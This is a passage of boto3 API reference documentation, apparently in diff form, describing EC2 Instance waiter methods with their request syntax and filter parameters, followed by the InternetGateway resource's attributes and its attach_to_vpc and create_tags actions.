(NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_running(kwargs_) + +Waits until this Instance is running. This method calls EC2.Waiter.instance_running.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_running( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_stopped(kwargs_) + +Waits until this Instance is stopped. This method calls EC2.Waiter.instance_stopped.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_stopped( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_terminated(kwargs_) + +Waits until this Instance is terminated. This method calls EC2.Waiter.instance_terminated.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_terminated( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +[InternetGateway](#id1241) +---------------------------------------------------------------------------- + +_class_ EC2.InternetGateway(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) InternetGateway: + +import boto3 + +ec2 = boto3.resource('ec2') +internet_gateway = ec2.InternetGateway('id') + +Parameters + +**id** (_string_) -- The InternetGateway's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.InternetGateway.id "EC2.InternetGateway.id") + +These are the resource's available attributes: + +- [attachments](#EC2.InternetGateway.attachments "EC2.InternetGateway.attachments") +- [internet_gateway_id](#EC2.InternetGateway.internet_gateway_id "EC2.InternetGateway.internet_gateway_id") +- [owner_id](#EC2.InternetGateway.owner_id "EC2.InternetGateway.owner_id") +- [tags](#EC2.InternetGateway.tags "EC2.InternetGateway.tags") + +These are the resource's available actions: + +- [attach_to_vpc()](#EC2.InternetGateway.attach_to_vpc "EC2.InternetGateway.attach_to_vpc") +- [create_tags()](#EC2.InternetGateway.create_tags "EC2.InternetGateway.create_tags") +- [delete()](#EC2.InternetGateway.delete "EC2.InternetGateway.delete") +- [detach_from_vpc()](#EC2.InternetGateway.detach_from_vpc "EC2.InternetGateway.detach_from_vpc") +- [get_available_subresources()](#EC2.InternetGateway.get_available_subresources "EC2.InternetGateway.get_available_subresources") +- [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") +- [reload()](#EC2.InternetGateway.reload "EC2.InternetGateway.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The InternetGateway's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.InternetGateway.load "EC2.InternetGateway.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +attachments + +- _(list) --_ + + Any VPCs attached to the internet gateway. + + - _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + - **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + +internet_gateway_id + +- _(string) --_ + + The ID of the internet gateway. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + +tags + +- _(list) --_ + + Any tags assigned to the internet gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_to_vpc(kwargs_) + +Attaches an internet gateway or a virtual private gateway to a VPC, enabling connectivity between the internet and the VPC. For more information about your VPC and internet gateway, see the [Amazon Virtual Private Cloud User Guide](https://docs.aws.amazon.com/vpc/latest/userguide/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachInternetGateway) + +**Request Syntax** + +response = internet_gateway.attach_to_vpc( + DryRun=True|False, + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + + +Returns + +None + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = internet_gateway.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified internet gateway. You must detach the internet gateway from the VPC before you can 